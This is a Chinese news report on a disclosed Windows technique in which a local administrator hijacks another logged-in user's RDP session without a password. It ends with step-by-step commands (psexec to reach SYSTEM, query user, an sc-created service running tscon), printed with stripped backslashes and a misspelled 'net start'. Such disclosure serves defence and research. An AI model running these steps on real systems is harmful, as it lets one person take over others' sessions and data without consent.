3月20日訊 國外安全研究人員亞歷山大·科茲尼科夫已經(jīng)公布了一種能夠輕松獲取最高級別網(wǎng)絡(luò)訪問權(quán)限,而不需要任何密碼的方法。
亞歷山大·科茲尼科夫在一篇博文中指出,諸如系統(tǒng)權(quán)限管理員等高權(quán)限用戶能夠利用內(nèi)置命令行工具劫持另一登錄用戶的會話,即使其擁有更高權(quán)限。而如果其他登錄用戶為域管理員,則對其會話進(jìn)行劫持將允許本地管理員完全訪問包括域服務(wù)在內(nèi)的整個網(wǎng)絡(luò)。
他警告稱,利用這項技術(shù),管理員將能夠在不觸發(fā)任何警告的情況下完成會話劫持。
亞歷山大·科茲尼科夫指出,他的這項技術(shù)方案不僅能夠用于劫持更高權(quán)限用戶的會話,同時還可用于幫助系統(tǒng)管理員獲取低權(quán)限帳戶的訪問能力,例如用于訪問高敏感度企業(yè)應(yīng)用程序或者企業(yè)數(shù)據(jù)庫。
亞歷山大·科茲尼科夫舉例解釋:
“銀行雇員可以使用計費系統(tǒng)及其憑證進(jìn)行登錄。假設(shè)這位雇員登錄至計費系統(tǒng)并開始工作,而后在午餐時間離開并將自己的工作站設(shè)備鎖定。這時,系統(tǒng)管理員能夠利用自己的帳戶登錄至該工作站。盡管根據(jù)銀行規(guī)定,管理員不應(yīng)訪問計費系統(tǒng); 但在Windows的內(nèi)置命令中,管理員完全能夠在不進(jìn)行解鎖的前提下劫持員工桌面。也就能夠在該計費系統(tǒng)中隨意操作,且擁有與對應(yīng)雇員相等的一切權(quán)限。”
整個過程只需要半分鐘左右即可完成,感興趣的朋友可以點擊此處(需翻墻)查看由其發(fā)布的概念驗證視頻。
亞歷山大·科茲尼科夫?qū)⒋朔Q為一項“高危安全漏洞”,但他自己也承認(rèn),他并不確定這到底屬于嚴(yán)重缺陷抑或是Windows內(nèi)有意為之的正常功能。
微軟公司在其說明文檔內(nèi)解釋了亞歷山大·科茲尼科夫在報告中所提及的各款命令行工具的適用范圍與限制,并表示該工具會在用戶輸入錯誤密碼后失效。然而亞歷山大·科茲尼科夫?qū)Υ擞枰苑裾J(rèn)。
安全研究人員凱文·博蒙特在推文中確認(rèn)了這項bug,并表示劫持帳戶確實“非常輕松”。
亞歷山大·科茲尼科夫稱,他已經(jīng)在Windows 7、Windows 10以及Windows Server 2008與Windows Server 2012 R2上測試了這項bug,凱文·博蒙特則表示這項bug實際上在目前全部受支持的Windows版本上皆可奏效。
不過亞歷山大·科茲尼科夫尚未將這項問題報告給微軟公司。他表示:
“攻擊者并不需要使用metasploit、incognito或者mimikatz等常見的用戶憑證操縱或者登錄模擬工具,每一項操作都通過內(nèi)置命令進(jìn)行。每一位管理員都能夠冒充任何登錄用戶以實現(xiàn)對其系統(tǒng)的本地物理或者遠(yuǎn)程桌面訪問。遺憾的是,我并不確定該如何進(jìn)行修復(fù),也提不出什么有效的建議。向微軟報告后需要等待六個月才能讓問題得以解決,而我希望盡快向大家發(fā)出通道。”
亞歷山大·科茲尼科夫只是類似問題的發(fā)現(xiàn)者之一。早在2011年,法國安全研究人員本杰明·德爾就曾經(jīng)公布過類似的會話劫持漏洞。
之后,微軟公司的發(fā)言人表示,這項所謂缺陷“并不屬于安全漏洞,因為其需要在設(shè)備上獲得本地管理權(quán)限。”
附安全研究詳情能夠獲得NT AUTHORITY/SYSTEM命令執(zhí)行許可的高權(quán)限用戶可輕松劫持任何已登錄用戶的會話,且無需了解其登錄憑證。終端服務(wù)會話可處于連接或者斷開狀態(tài)。
此項高危安全漏洞允許任何本地管理員實現(xiàn)如下會話劫持與訪問能力:
1. 域管理員會話。
2. 劫持用戶正在處理且尚未保存的任何文檔。
3. 任何被劫持用戶此前曾經(jīng)登錄的其它系統(tǒng)/應(yīng)用程序(可能包括其它遠(yuǎn)程桌面會話、網(wǎng)絡(luò)共享映射、要求其它憑證方可登錄的應(yīng)用程序以及電子郵件等)。
此項安全漏洞被證實作用于:
Windows 2012 R2
Windows 2008
Windows 10
Windows 7
微軟公司的官方說明文檔幫助我們利用以下命令行操作完成測試:
https://technet.microsoft.com/en-us/library/cc771505(v=ws.11).aspx我們只需要 NT AUTHORITY/SYSTEM 命令行。
最簡單的方法為使用psexec,但其要求存在psexec.exe文件:
psexec -s \localhost cmd另一種方法為創(chuàng)建一項負(fù)責(zé)與全部選定會話對接的服務(wù)。
1、獲取全部會話信息:
C:Windowssystem32>query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME administrator 1 Disc 1 3/12/2017 3:07 PM>localadmin rdp-tcp#55 2 Active . 3/12/2017 3:10 PMC:Windowssystem32>2、 創(chuàng)建用于劫持用戶會話的服務(wù):
C:Windowssystem32>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"[SC] CreateService SUCCESS3、啟動此服務(wù):
net setart sesshijack在此之后,您的當(dāng)前會話將被替換為目標(biāo)會話。